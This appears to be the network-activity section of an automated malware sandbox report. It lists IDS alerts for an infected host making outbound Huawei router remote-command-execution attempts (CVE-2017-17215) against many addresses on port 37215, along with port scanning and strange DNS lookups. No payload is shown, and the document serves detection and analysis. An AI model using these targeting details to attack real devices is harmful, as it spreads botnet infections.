Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:40424 -> 45.195.116.155:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:40424 -> 45.195.116.155:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:40264 -> 156.241.81.175:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:40264 -> 156.241.81.175:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:40964 -> 122.228.242.29:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:40964 -> 122.228.242.29:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:40196 -> 94.121.217.135:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:40196 -> 94.121.217.135:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:56186 -> 156.254.111.167:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:56186 -> 156.254.111.167:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:37410 -> 37.16.25.222:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:37410 -> 37.16.25.222:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:39188 -> 156.254.108.19:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:39188 -> 156.254.108.19:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:44364 -> 154.194.156.9:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:44364 -> 154.194.156.9:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:42554 -> 156.241.117.127:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:42554 -> 156.241.117.127:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:44172 -> 156.247.30.143:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:44172 -> 156.247.30.143:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:52170 -> 156.241.10.104:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:52170 -> 156.241.10.104:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:43294 -> 156.77.130.255:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:43294 -> 156.77.130.255:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:58258 -> 156.241.101.6:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:58258 -> 156.241.101.6:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:51416 -> 156.241.67.15:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:51416 -> 156.241.67.15:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:50728 -> 156.224.12.97:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:50728 -> 156.224.12.97:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:52674 -> 41.47.106.231:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:52674 -> 41.47.106.231:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:48108 -> 156.254.95.46:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:48108 -> 156.254.95.46:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:56426 -> 156.241.103.98:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:56426 -> 156.241.103.98:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:36878 -> 156.224.12.75:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:36878 -> 156.224.12.75:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:36386 -> 94.122.226.1:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:36386 -> 94.122.226.1:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:53066 -> 156.224.15.173:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:53066 -> 156.224.15.173:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:45240 -> 156.241.86.154:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:45240 -> 156.241.86.154:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:54080 -> 94.121.223.30:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:54080 -> 94.121.223.30:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:34092 -> 156.241.97.16:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:34092 -> 156.241.97.16:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:52502 -> 94.121.131.78:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:52502 -> 94.121.131.78:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:34538 -> 94.122.192.44:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:34538 -> 94.122.192.44:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:39366 -> 156.253.32.91:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:39366 -> 156.253.32.91:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:46856 -> 156.247.29.146:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:46856 -> 156.247.29.146:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:37286 -> 156.77.138.242:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:37286 -> 156.77.138.242:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:52830 -> 156.247.18.169:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:52830 -> 156.247.18.169:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:33324 -> 156.77.135.37:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:33324 -> 156.77.135.37:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:60170 -> 94.120.208.194:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:60170 -> 94.120.208.194:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:37564 -> 95.86.93.65:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:37564 -> 95.86.93.65:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:34100 -> 156.235.101.222:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:34100 -> 156.235.101.222:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:56828 -> 156.247.29.104:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:56828 -> 156.247.29.104:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:57568 -> 95.86.126.109:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:57568 -> 95.86.126.109:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:33620 -> 156.254.66.255:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:33620 -> 156.254.66.255:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:47944 -> 156.241.119.7:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:47944 -> 156.241.119.7:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:53578 -> 94.120.53.15:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:53578 -> 94.120.53.15:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:46496 -> 156.224.10.238:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:46496 -> 156.224.10.238:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:51332 -> 41.207.122.4:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:51332 -> 41.207.122.4:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:51586 -> 122.114.75.214:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:51586 -> 122.114.75.214:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:41514 -> 94.122.227.106:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:41514 -> 94.122.227.106:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:58812 -> 156.247.28.246:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:58812 -> 156.247.28.246:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:33396 -> 154.214.76.238:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:33396 -> 154.214.76.238:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:45730 -> 156.247.23.28:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:45730 -> 156.247.23.28:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:41962 -> 45.207.186.42:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:41962 -> 45.207.186.42:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:49352 -> 156.254.86.122:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:49352 -> 156.254.86.122:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:54422 -> 156.241.125.49:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:54422 -> 156.241.125.49:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:38540 -> 94.121.21.61:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:38540 -> 94.121.21.61:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:49256 -> 156.224.9.192:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:49256 -> 156.224.9.192:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:34586 -> 156.253.43.227:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:34586 -> 156.253.43.227:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:35978 -> 156.230.24.231:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:35978 -> 156.230.24.231:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:53418 -> 156.254.105.154:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:53418 -> 156.254.105.154:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:49762 -> 156.241.93.225:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:49762 -> 156.241.93.225:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:59312 -> 156.254.85.239:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:59312 -> 156.254.85.239:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:48006 -> 160.181.168.106:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:48006 -> 160.181.168.106:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:48236 -> 156.241.94.104:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:48236 -> 156.241.94.104:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:55606 -> 156.254.81.48:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:55606 -> 156.254.81.48:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:51658 -> 94.120.26.94:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:51658 -> 94.120.26.94:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:50918 -> 156.254.107.38:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:50918 -> 156.254.107.38:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:58920 -> 41.47.126.248:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:58920 -> 41.47.126.248:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:55182 -> 94.120.244.197:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:55182 -> 94.120.244.197:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:49430 -> 94.123.106.14:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:49430 -> 94.123.106.14:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:37036 -> 156.254.67.180:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:37036 -> 156.254.67.180:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:46770 -> 156.241.85.241:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:46770 -> 156.241.85.241:37215

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 197.8.80.113 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.73.10.21 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.77.131.218 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 138.40.217.109 ports 1,2,3,5,7,37215

Queries the IP of a very long domain name

Source: unknown	DNS traffic detected: query: pposdif.parody.UeKKa/PV!E=_2gWD5)\MIHpposdifparodyoUeII
Source: unknown	DNS traffic detected: query: hailbot.geek.Ueq;<<PV!a/E(L@9Cw_9CPoUeo;<<PV

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 38940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47146 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 46160
Source: unknown	Network traffic detected: HTTP traffic on port 38940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46400 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46656 -> 37215
